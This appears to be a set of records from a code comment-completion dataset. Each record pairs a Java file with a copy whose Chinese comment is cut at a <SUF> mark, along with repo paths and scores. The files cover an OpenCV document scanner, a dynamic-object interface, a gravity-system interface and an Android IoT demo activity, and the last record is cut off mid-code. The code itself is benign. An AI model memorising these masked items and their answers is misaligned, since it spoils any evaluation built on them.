if ((pointSideLine(leftTop, p1[0], p1[1]) * pointSideLine(leftTop, p1[0], p1[2])) < 0) {
result[2] = p1[0];
} else if ((pointSideLine(leftTop, p1[1], p1[0]) * pointSideLine(leftTop, p1[1], p1[2])) < 0) {
result[2] = p1[1];
} else if ((pointSideLine(leftTop, p1[2], p1[0]) * pointSideLine(leftTop, p1[2], p1[1])) < 0) {
result[2] = p1[2];
}
}
if (result[0] != unFoundPoint && result[2] != unFoundPoint) {
Point leftTop = result[0];
Point rightBottom = result[2];
Point[] p1 = new Point[2];
int i = 0;
for (Point point : points) {
if (point.x == leftTop.x && point.y == leftTop.y)
continue;
if (point.x == rightBottom.x && point.y == rightBottom.y)
continue;
p1[i] = point;
i++;
}
if (pointSideLine(leftTop, rightBottom, p1[0]) > 0) {
result[1] = p1[0];
result[3] = p1[1];
} else {
result[1] = p1[1];
result[3] = p1[0];
}
}
if (result[0] != unFoundPoint && result[1] != unFoundPoint && result[2] != unFoundPoint && result[3] != unFoundPoint) {
return result;
}
return points;
}
private static double pointSideLine(Point lineP1, Point lineP2, Point point) {
double x1 = lineP1.x;
double y1 = lineP1.y;
double x2 = lineP2.x;
double y2 = lineP2.y;
double x = point.x;
double y = point.y;
return (x - x1)*(y2 - y1) - (y - y1)*(x2 - x1);
}
}
| DymanZy/OpenCVTest | app/src/main/java/com/dyman/opencvtest/utils/Scanner.java | 2,479 | // 筛选去除相近的点 | line_comment | zh-cn | package com.dyman.opencvtest.utils;
import android.graphics.Bitmap;
import android.util.Log;
import org.opencv.android.Utils;
import org.opencv.core.Mat;
import org.opencv.core.MatOfPoint;
import org.opencv.core.MatOfPoint2f;
import org.opencv.core.Point;
import org.opencv.core.RotatedRect;
import org.opencv.core.Size;
import org.opencv.imgproc.Imgproc;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
/**
* Created by dyman on 2017/8/12.
*
* 智能选区帮助类
*/
public class Scanner {
private static final String TAG = "Scanner";
private static int resizeThreshold = 500;
private static float resizeScale = 1.0f;
/** 扫描图片,并返回检测到的矩形的四个顶点的坐标 */
public static android.graphics.Point[] scanPoint(Bitmap srcBitmap) {
Mat srcMat = new Mat();
Utils.bitmapToMat(srcBitmap, srcMat);
// 图像缩放
Mat image = resizeImage(srcMat);
// 图像预处理
Mat scanImage = preProcessImage(image);
List<MatOfPoint> contours = new ArrayList<>(); // 检测到的轮廓
Mat hierarchy = new Mat(); // 各轮廓的继承关系
// 提取边框
Imgproc.findContours(scanImage, contours, hierarchy, Imgproc.RETR_EXTERNAL, Imgproc.CHAIN_APPROX_NONE);
// 按面积排序,最后只取面积最大的那个
Collections.sort(contours, new Comparator<MatOfPoint>() {
@Override
public int compare(MatOfPoint matOfPoint1, MatOfPoint matOfPoint2) {
double oneArea = Math.abs(Imgproc.contourArea(matOfPoint1));
double twoArea = Math.abs(Imgproc.contourArea(matOfPoint2));
return Double.compare(twoArea, oneArea);
}
});
Point[] resultArr = new Point[4];
if (contours.size() > 0) {
Log.i(TAG, "scanPoint: -------------contours.size="+contours.size());
// 取面积最大的
MatOfPoint2f contour2f = new MatOfPoint2f(contours.get(0).toArray());
double arc = Imgproc.arcLength(contour2f, true);
MatOfPoint2f outDpMat = new MatOfPoint2f();
Imgproc.approxPolyDP(contour2f, outDpMat, 0.02 * arc, true); // 多边形逼近
// 筛选 <SUF>
MatOfPoint2f selectMat = selectPoint(outDpMat, 1);
if (selectMat.toArray().length != 4) {
// 不是四边形,使用最小矩形包裹
RotatedRect rotatedRect = Imgproc.minAreaRect(selectMat);
rotatedRect.points(resultArr);
} else {
resultArr = selectMat.toArray();
}
// 比例还原
for (Point p : resultArr) {
p.x *= resizeScale;
p.y *= resizeScale;
}
}
// 对最终检测出的四个点进行排序:左上、右上、右下、坐下
Point[] result = sortPointClockwise(resultArr);
android.graphics.Point[] rs = new android.graphics.Point[result.length];
for (int i = 0; i < result.length; i++) {
android.graphics.Point p = new android.graphics.Point((int) result[i].x, (int) result[i].y);
rs[i] = p;
}
return rs;
}
/**
* 为避免处理时间过长,先对图片进行压缩
* @param image
* @return
*/
private static Mat resizeImage(Mat image) {
int width = image.cols();
int height = image.rows();
int maxSize = width > height ? width : height;
if (maxSize > resizeThreshold) {
resizeScale = 1.0f * maxSize / resizeThreshold;
width = (int) (width / resizeScale);
height = (int) (height / resizeScale);
Size size = new Size(width, height);
Mat resizeMat = new Mat();
Imgproc.resize(image, resizeMat, size);
return resizeMat;
}
return image;
}
/**
* 对图像进行预处理:灰度化、高斯模糊、Canny边缘检测
* @param image
* @return
*/
private static Mat preProcessImage(Mat image) {
Mat grayMat = new Mat();
Imgproc.cvtColor(image, grayMat, Imgproc.COLOR_RGB2GRAY); // 注意RGB和BGR,影响很大
Mat blurMat = new Mat();
Imgproc.GaussianBlur(grayMat, blurMat, new Size(5,5), 0);
Mat cannyMat = new Mat();
Imgproc.Canny(blurMat, cannyMat, 0, 5);
Mat thresholdMat = new Mat();
Imgproc.threshold(cannyMat, thresholdMat, 0, 255, Imgproc.THRESH_OTSU);
return cannyMat;
}
/** 过滤掉距离相近的点 */
private static MatOfPoint2f selectPoint(MatOfPoint2f outDpMat, int selectTimes) {
List<Point> pointList = new ArrayList<>();
pointList.addAll(outDpMat.toList());
if (pointList.size() > 4) {
double arc = Imgproc.arcLength(outDpMat, true);
for (int i = pointList.size() - 1; i >= 0; i--) {
if (pointList.size() == 4) {
Point[] resultPoints = new Point[pointList.size()];
for (int j = 0; j < pointList.size(); j++) {
resultPoints[j] = pointList.get(j);
}
return new MatOfPoint2f(resultPoints);
}
if (i != pointList.size() - 1) {
Point itor = pointList.get(i);
Point lastP = pointList.get(i + 1);
double pointLength = Math.sqrt(Math.pow(itor.x-lastP.x, 2) + Math.pow(itor.y - lastP.y, 2));
if (pointLength < arc * 0.01 * selectTimes && pointList.size() > 4) {
pointList.remove(i);
}
}
}
if (pointList.size() > 4) {
// 要手动逐个强转
Point[] againPoints = new Point[pointList.size()];
for (int i = 0; i < pointList.size(); i++) {
againPoints[i] = pointList.get(i);
}
return selectPoint(new MatOfPoint2f(againPoints), selectTimes + 1);
}
}
return outDpMat;
}
/** 对顶点进行排序 */
private static Point[] sortPointClockwise(Point[] points) {
if (points.length != 4) {
return points;
}
Point unFoundPoint = new Point();
Point[] result = {unFoundPoint, unFoundPoint, unFoundPoint, unFoundPoint};
long minDistance = -1;
for (Point point : points) {
long distance = (long) (point.x * point.x + point.y * point.y);
if (minDistance == -1 || distance < minDistance) {
result[0] = point;
minDistance = distance;
}
}
if (result[0] != unFoundPoint) {
Point leftTop = result[0];
Point[] p1 = new Point[3];
int i = 0;
for (Point point : points) {
if (point.x == leftTop.x && point.y == leftTop.y)
continue;
p1[i] = point;
i++;
}
if ((pointSideLine(leftTop, p1[0], p1[1]) * pointSideLine(leftTop, p1[0], p1[2])) < 0) {
result[2] = p1[0];
} else if ((pointSideLine(leftTop, p1[1], p1[0]) * pointSideLine(leftTop, p1[1], p1[2])) < 0) {
result[2] = p1[1];
} else if ((pointSideLine(leftTop, p1[2], p1[0]) * pointSideLine(leftTop, p1[2], p1[1])) < 0) {
result[2] = p1[2];
}
}
if (result[0] != unFoundPoint && result[2] != unFoundPoint) {
Point leftTop = result[0];
Point rightBottom = result[2];
Point[] p1 = new Point[2];
int i = 0;
for (Point point : points) {
if (point.x == leftTop.x && point.y == leftTop.y)
continue;
if (point.x == rightBottom.x && point.y == rightBottom.y)
continue;
p1[i] = point;
i++;
}
if (pointSideLine(leftTop, rightBottom, p1[0]) > 0) {
result[1] = p1[0];
result[3] = p1[1];
} else {
result[1] = p1[1];
result[3] = p1[0];
}
}
if (result[0] != unFoundPoint && result[1] != unFoundPoint && result[2] != unFoundPoint && result[3] != unFoundPoint) {
return result;
}
return points;
}
private static double pointSideLine(Point lineP1, Point lineP2, Point point) {
double x1 = lineP1.x;
double y1 = lineP1.y;
double x2 = lineP2.x;
double y2 = lineP2.y;
double x = point.x;
double y = point.y;
return (x - x1)*(y2 - y1) - (y - y1)*(x2 - x1);
}
}
| 1 | 12 | 1 |
19394_1 | package dynamilize;
/**所有动态对象依赖的接口,描述了动态对象具有的基本行为,关于接口的实现应当由生成器生成。
* <p>实现此接口通常不应该从外部进行,而应当通过{@link DynamicMaker#makeClassInfo(Class, Class[], Class[])}生成,对于生成器生成的实现类应当满足下列行为:
* <ul>
* <li>分配对象保存{@linkplain DataPool 数据池}的字段,字段具有private final修饰符
* <li>分配对象保存{@linkplain DynamicClass 动态类}的字段,字段具有private final修饰符
* <li>对每一个超类构造函数生成相应的构造函数,并正确的调用超类的相应超类构造函数
* 参数前新增两个参数分别传入{@linkplain DataPool 数据池}和{@linkplain DynamicClass 动态类}并分配给成员字段
* <li>按此接口内的方法说明,实现接口的各抽象方法
* </ul>
* 且委托类型的构造函数应当从{@link DynamicMaker}中的几个newInstance调用,否则你必须为之提供合适的构造函数参数
*
* @author EBwilson */
@SuppressWarnings("unchecked")
public interface DynamicObject<Self>{
/**获取对象的动态类型
* <p>生成器实施应当实现此方法返回生成的动态类型字段
*
* @return 此对象的动态类型*/
DynamicClass getDyClass();
/**获得对象的成员变量
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#getVariable(String)}方法并返回值
*
* @param name 变量名称
* @return 变量的值*/
IVariable getVariable(String name);
DataPool.ReadOnlyPool baseSuperPointer();
/**设置对象的成员变量
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setVariable(IVariable)}方法,自身的参数分别传入
*
* @param variable 将设置的变量*/
void setVariable(IVariable variable);
/**获取对象的某一成员变量的值,若变量尚未定义则会抛出异常
*
* @param name 变量名
* @return 变量值*/
default <T> T getVar(String name){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this);
}
/**为对象的某一变量设置属性值,若在层次结构中未能找到变量则会定义变量
*
* @param name 变量名
* @param value 属性值*/
default <T> void setVar(String name, T value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
<T> T varValueGet(String name);
<T> void varValueSet(String name, T value);
/**使用给出的运算器对指定名称的变量进行处理,并用其计算结果设置变量值
*
* @param name 变量名称
* @param calculator 计算器
* @return 计算结果*/
default <T> T calculateVar(String name, Calculator<T> calculator){
T res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
/**获取对象的函数的匿名函数表示
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#select(String, FunctionType)}方法并返回值
*
* @param name 函数名称
* @param type 函数的参数类型
* @return 指定函数的匿名表示*/
IFunctionEntry getFunc(String name, FunctionType type);
default <R> Delegate<R> getFunction(String name, FunctionType type){
IFunctionEntry entry = getFunc(name, type);
if(entry == null)
throw new IllegalHandleException("no such function: " + name + type);
return a -> (R) entry.<Self, R>getFunction().invoke(this, a);
}
default <R> Delegate<R> getFunction(String name, Class<?>... types){
FunctionType type = FunctionType.inst(types);
Delegate<R> f = getFunction(name, type);
type.recycle();
return f;
}
default <R> Function<Self, R> getFunc(String name, Class<?>... types){
FunctionType type = FunctionType.inst(types);
Function<Self, R> f = getFunc(name, type).getFunction();
type.recycle();
return f;
}
/**以lambda模式设置对象的成员函数,lambda模式下对对象的函数变更仅对此对象有效,变更即时生效,
* 若需要使变更对所有实例都生效,则应当对此对象的动态类型引用{@link DynamicClass#visitClass(Class, JavaHandleHelper)}方法变更行为样版
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setFunction(String, Function, Class[])}方法,并将参数一一对应传入
* <p><strong>注意,含有泛型的参数,无论类型参数如何,形式参数类型始终为{@link Object}</strong>
*
* @param name 设置的函数名称
* @param func 描述函数行为的匿名函数
* @param argTypes 形式参数的类型列表*/
<R> void setFunc(String name, Function<Self, R> func, Class<?>... argTypes);
<R> void setFunc(String name, Function.SuperGetFunction<Self, R> func, Class<?>... argTypes);
/**与{@link DynamicObject#setFunc(String, Function, Class[])}效果一致,只是传入的函数没有返回值*/
default void setFunc(String name, Function.NonRetFunction<Self> func, Class<?>... argTypes){
setFunc(name, (s, a) -> {
func.invoke(s, a);
return null;
}, argTypes);
}
/**与{@link DynamicObject#setFunc(String, Function.SuperGetFunction, Class[])}效果一致,只是传入的函数没有返回值*/
default void setFunc(String name, Function.NonRetSuperGetFunc<Self> func, Class<?>... argTypes){
setFunc(name, (s, sup, a) -> {
func.invoke(s, sup, a);
return null;
}, argTypes);
}
/**执行对象的指定成员函数
*
* @param name 函数名称
* @param args 传递给函数的实参列表
* @return 函数返回值*/
default <R> R invokeFunc(String name, Object... args){
ArgumentList lis = ArgumentList.as(args);
R r = invokeFunc(name, lis);
lis.type().recycle();
lis.recycle();
return r;
}
/**指明形式参数列表执行对象的指定成员函数,如果参数中有从类型派生的对象或者null值,使用type明确指定形参类型可以有效提升执行效率
*
* @param name 函数名称
* @param args 传递给函数的实参列表
* @return 函数返回值*/
default <R> R invokeFunc(FunctionType type, String name, Object... args){
ArgumentList lis = ArgumentList.asWithType(type, args);
R r = invokeFunc(name, lis);
lis.recycle();
return r;
}
/**直接传入{@link ArgumentList}作为实参列表的函数调用,方法内完成拆箱,便于在匿名函数中对另一函数进行引用而无需拆箱
*
* @param name 函数名称
* @param args 是按列表的封装对象
* @return 函数返回值*/
default <R> R invokeFunc(String name, ArgumentList args){
FunctionType type = args.type();
Function<Self, R> res = getFunc(name, type).getFunction();
if(res == null)
throw new IllegalHandleException("no such method declared: " + name);
return res.invoke( this, args);
}
/**将对象自身经过一次强转换并返回*/
default <T extends Self> T objSelf(){
return (T) this;
}
//primitive getters and setters
//我讨厌装箱类型,是的,相当讨厌......
default boolean getVar(String name, boolean def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default byte getVar(String name, byte def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default short getVar(String name, short def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default int getVar(String name, int def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default long getVar(String name, long def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default float getVar(String name, float def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default double getVar(String name, double def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default void setVar(String name, boolean value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, byte value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, short value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, int value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, long value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, float value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, double value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default boolean calculateVar(String name, Calculator.BoolCalculator calculator){
boolean res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default byte calculateVar(String name, Calculator.ByteCalculator calculator){
byte res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default short calculateVar(String name, Calculator.ShortCalculator calculator){
short res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default int calculateVar(String name, Calculator.IntCalculator calculator){
int res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default long calculateVar(String name, Calculator.LongCalculator calculator){
long res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default float calculateVar(String name, Calculator.FloatCalculator calculator){
float res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default double calculateVar(String name, Calculator.DoubleCalculator calculator){
double res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
}
| EB-wilson/JavaDynamilizer | core/src/main/java/dynamilize/DynamicObject.java | 3,041 | /**获取对象的动态类型
* <p>生成器实施应当实现此方法返回生成的动态类型字段
*
* @return 此对象的动态类型*/ | block_comment | zh-cn | package dynamilize;
/**所有动态对象依赖的接口,描述了动态对象具有的基本行为,关于接口的实现应当由生成器生成。
* <p>实现此接口通常不应该从外部进行,而应当通过{@link DynamicMaker#makeClassInfo(Class, Class[], Class[])}生成,对于生成器生成的实现类应当满足下列行为:
* <ul>
* <li>分配对象保存{@linkplain DataPool 数据池}的字段,字段具有private final修饰符
* <li>分配对象保存{@linkplain DynamicClass 动态类}的字段,字段具有private final修饰符
* <li>对每一个超类构造函数生成相应的构造函数,并正确的调用超类的相应超类构造函数
* 参数前新增两个参数分别传入{@linkplain DataPool 数据池}和{@linkplain DynamicClass 动态类}并分配给成员字段
* <li>按此接口内的方法说明,实现接口的各抽象方法
* </ul>
* 且委托类型的构造函数应当从{@link DynamicMaker}中的几个newInstance调用,否则你必须为之提供合适的构造函数参数
*
* @author EBwilson */
@SuppressWarnings("unchecked")
public interface DynamicObject<Self>{
/**获取对 <SUF>*/
DynamicClass getDyClass();
/**获得对象的成员变量
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#getVariable(String)}方法并返回值
*
* @param name 变量名称
* @return 变量的值*/
IVariable getVariable(String name);
DataPool.ReadOnlyPool baseSuperPointer();
/**设置对象的成员变量
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setVariable(IVariable)}方法,自身的参数分别传入
*
* @param variable 将设置的变量*/
void setVariable(IVariable variable);
/**获取对象的某一成员变量的值,若变量尚未定义则会抛出异常
*
* @param name 变量名
* @return 变量值*/
default <T> T getVar(String name){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this);
}
/**为对象的某一变量设置属性值,若在层次结构中未能找到变量则会定义变量
*
* @param name 变量名
* @param value 属性值*/
default <T> void setVar(String name, T value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
<T> T varValueGet(String name);
<T> void varValueSet(String name, T value);
/**使用给出的运算器对指定名称的变量进行处理,并用其计算结果设置变量值
*
* @param name 变量名称
* @param calculator 计算器
* @return 计算结果*/
default <T> T calculateVar(String name, Calculator<T> calculator){
T res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
/**获取对象的函数的匿名函数表示
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#select(String, FunctionType)}方法并返回值
*
* @param name 函数名称
* @param type 函数的参数类型
* @return 指定函数的匿名表示*/
IFunctionEntry getFunc(String name, FunctionType type);
default <R> Delegate<R> getFunction(String name, FunctionType type){
IFunctionEntry entry = getFunc(name, type);
if(entry == null)
throw new IllegalHandleException("no such function: " + name + type);
return a -> (R) entry.<Self, R>getFunction().invoke(this, a);
}
default <R> Delegate<R> getFunction(String name, Class<?>... types){
FunctionType type = FunctionType.inst(types);
Delegate<R> f = getFunction(name, type);
type.recycle();
return f;
}
default <R> Function<Self, R> getFunc(String name, Class<?>... types){
FunctionType type = FunctionType.inst(types);
Function<Self, R> f = getFunc(name, type).getFunction();
type.recycle();
return f;
}
/**以lambda模式设置对象的成员函数,lambda模式下对对象的函数变更仅对此对象有效,变更即时生效,
* 若需要使变更对所有实例都生效,则应当对此对象的动态类型引用{@link DynamicClass#visitClass(Class, JavaHandleHelper)}方法变更行为样版
* <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setFunction(String, Function, Class[])}方法,并将参数一一对应传入
* <p><strong>注意,含有泛型的参数,无论类型参数如何,形式参数类型始终为{@link Object}</strong>
*
* @param name 设置的函数名称
* @param func 描述函数行为的匿名函数
* @param argTypes 形式参数的类型列表*/
<R> void setFunc(String name, Function<Self, R> func, Class<?>... argTypes);
<R> void setFunc(String name, Function.SuperGetFunction<Self, R> func, Class<?>... argTypes);
/**与{@link DynamicObject#setFunc(String, Function, Class[])}效果一致,只是传入的函数没有返回值*/
default void setFunc(String name, Function.NonRetFunction<Self> func, Class<?>... argTypes){
setFunc(name, (s, a) -> {
func.invoke(s, a);
return null;
}, argTypes);
}
/**与{@link DynamicObject#setFunc(String, Function.SuperGetFunction, Class[])}效果一致,只是传入的函数没有返回值*/
default void setFunc(String name, Function.NonRetSuperGetFunc<Self> func, Class<?>... argTypes){
setFunc(name, (s, sup, a) -> {
func.invoke(s, sup, a);
return null;
}, argTypes);
}
/**执行对象的指定成员函数
*
* @param name 函数名称
* @param args 传递给函数的实参列表
* @return 函数返回值*/
default <R> R invokeFunc(String name, Object... args){
ArgumentList lis = ArgumentList.as(args);
R r = invokeFunc(name, lis);
lis.type().recycle();
lis.recycle();
return r;
}
/**指明形式参数列表执行对象的指定成员函数,如果参数中有从类型派生的对象或者null值,使用type明确指定形参类型可以有效提升执行效率
*
* @param name 函数名称
* @param args 传递给函数的实参列表
* @return 函数返回值*/
default <R> R invokeFunc(FunctionType type, String name, Object... args){
ArgumentList lis = ArgumentList.asWithType(type, args);
R r = invokeFunc(name, lis);
lis.recycle();
return r;
}
/**直接传入{@link ArgumentList}作为实参列表的函数调用,方法内完成拆箱,便于在匿名函数中对另一函数进行引用而无需拆箱
*
* @param name 函数名称
* @param args 是按列表的封装对象
* @return 函数返回值*/
default <R> R invokeFunc(String name, ArgumentList args){
FunctionType type = args.type();
Function<Self, R> res = getFunc(name, type).getFunction();
if(res == null)
throw new IllegalHandleException("no such method declared: " + name);
return res.invoke( this, args);
}
/**将对象自身经过一次强转换并返回*/
default <T extends Self> T objSelf(){
return (T) this;
}
//primitive getters and setters
//我讨厌装箱类型,是的,相当讨厌......
default boolean getVar(String name, boolean def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default byte getVar(String name, byte def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default short getVar(String name, short def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default int getVar(String name, int def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default long getVar(String name, long def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default float getVar(String name, float def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default double getVar(String name, double def){
IVariable var = getVariable(name);
if(var == null)
throw new IllegalHandleException("variable " + name + " was not defined");
return var.get(this, def);
}
default void setVar(String name, boolean value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, byte value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, short value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, int value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, long value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, float value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default void setVar(String name, double value){
IVariable var = getVariable(name);
if(var == null){
var = new Variable(name);
setVariable(var);
}
var.set(this, value);
}
default boolean calculateVar(String name, Calculator.BoolCalculator calculator){
boolean res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default byte calculateVar(String name, Calculator.ByteCalculator calculator){
byte res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default short calculateVar(String name, Calculator.ShortCalculator calculator){
short res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default int calculateVar(String name, Calculator.IntCalculator calculator){
int res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default long calculateVar(String name, Calculator.LongCalculator calculator){
long res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default float calculateVar(String name, Calculator.FloatCalculator calculator){
float res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
default double calculateVar(String name, Calculator.DoubleCalculator calculator){
double res;
setVar(name, res = calculator.calculate(getVar(name)));
return res;
}
}
| 1 | 73 | 1 |
55716_2 | package universecore.math.gravity;
import arc.math.geom.Vec2;
import universecore.annotations.Annotations;
/**引力系统接口,引力运算时的处理单元
*
* @since 1.3
* @author EBwilson*/
public interface GravitySystem{
/**该系统所激发的引力场*/
@Annotations.BindField("gravityField")
default GravityField field(){
return null;
}
/**系统总质量,单位千吨(kt),允许质量为负数,两个系统质量符号相同互相吸引,否则互相排斥*/
float mass();
/**系统重心的位置矢量*/
Vec2 position();
/**引力更新调用此方法,将计算出的加速度作为参数传入*/
void gravityUpdate(Vec2 acceleration);
}
| EB-wilson/UniverseCore | core/src/main/java/universecore/math/gravity/GravitySystem.java | 194 | /**系统总质量,单位千吨(kt),允许质量为负数,两个系统质量符号相同互相吸引,否则互相排斥*/ | block_comment | zh-cn | package universecore.math.gravity;
import arc.math.geom.Vec2;
import universecore.annotations.Annotations;
/**引力系统接口,引力运算时的处理单元
*
* @since 1.3
* @author EBwilson*/
public interface GravitySystem{
/**该系统所激发的引力场*/
@Annotations.BindField("gravityField")
default GravityField field(){
return null;
}
/**系统总 <SUF>*/
float mass();
/**系统重心的位置矢量*/
Vec2 position();
/**引力更新调用此方法,将计算出的加速度作为参数传入*/
void gravityUpdate(Vec2 acceleration);
}
| 0 | 49 | 0 |
22538_2 | package com.example.dell.iotplatformdemo.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.support.annotation.RequiresApi;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Button;
import android.widget.ImageButton;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.example.dell.iotplatformdemo.Base.BaseActivity;
import com.example.dell.iotplatformdemo.Base.Utils.RecyclerViewDivider;
import com.example.dell.iotplatformdemo.Bean.Device;
import com.example.dell.iotplatformdemo.Bean.Scene;
import com.example.dell.iotplatformdemo.Fragement.AirConditionFragment;
import com.example.dell.iotplatformdemo.Fragement.AirIndexFragment;
import com.example.dell.iotplatformdemo.Fragement.BulbFragment;
import com.example.dell.iotplatformdemo.Fragement.FanFragment;
import com.example.dell.iotplatformdemo.Intereface.callBack;
import com.example.dell.iotplatformdemo.R;
import com.example.dell.iotplatformdemo.Tools.DataSave;
import com.zhy.adapter.recyclerview.CommonAdapter;
import com.zhy.adapter.recyclerview.base.ViewHolder;
import com.zhy.adapter.recyclerview.wrapper.EmptyWrapper;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.OnClick;
public class MainActivity extends BaseActivity {
@BindView(R.id.device_left)
TextView deviceLeft;
@BindView(R.id.device_title)
TextView deviceTitle;
@BindView(R.id.add_device)
ImageButton addDevice;
@BindView(R.id.device_rv)
RecyclerView deviceRv;
@BindView(R.id.imageButton)
TextView deleteIbn;
@BindView(R.id.main_add_device)
Button mainAddDevice;
@BindView(R.id.device_empty)
RelativeLayout deviceEmpty;
@BindView(R.id.title_drawer)
TextView titleDrawer;
@BindView(R.id.view)
View view;
@BindView(R.id.view_root)
DrawerLayout viewRoot;
private DataSave dataSave;
private List<Scene> sceneList;
private List<Device> deviceList;
private Device mDevice = null;
private BulbFragment bulbFragment;
private AirConditionFragment airConditionFragment;
private FanFragment fanFragment;
private AirIndexFragment airIndexFragment;
private Scene scene;
private static int ADD_DEVICE_REQUEST_CODE = 0x01;
private CommonAdapter<Device> mAdapter;
private EmptyWrapper<Device> emptyWrapper;
private boolean deleteVisible = false;
private callBack mFragemntBulbCall, mFragmentFanCall, mFragmentAirIndexCall, mFragmentAirConditionCall;
private static int CURRENT_FRAGMENT = 0;
@Override
protected int getLayoutId() {
return R.layout.activity_main;
}
@Override
protected void initData() {
addFragment();
dataSave = new DataSave(getApplication(), "DevicePreference");
//判断是否有数据存入
if (!dataSave.getBoolean("initdata")) {
Log.i(TAG, "保存数据");
String[] scenes = {"客厅", "书房", "办公室", "卧室"};
for (int i = 0; i < 4; i++) {
sceneList.add(new Scene(i, scenes[i], 0, null));
}
dataSave.saveBoolean("initdata", true);
dataSave.setDataList("sceneList", sceneList);
Log.i(TAG, dataSave.getBoolean("initdata") + "初始化");
}
Log.i(TAG, "dataSave不为空");
sceneList = dataSave.getDataList("sceneList");
//设置场景名称
Log.i(TAG, "场景名称:" + sceneList.get(0).getName());
//解决解析时乱序问题
for (int i = 0; i < sceneList.size(); i++) {
Log.i(TAG, sceneList.get(i).getId() + "id");
if (sceneList.get(i).getId() == 0) {
Log.i(TAG, "获取scene");
scene = sceneList.get(i);
// deviceList=scene.getDeviceList();
break;
}
}
initScene(scene);
}
private void setAdapter() {
mAdapter = new CommonAdapter<Device>(this, R.layout.item_device, deviceList) {
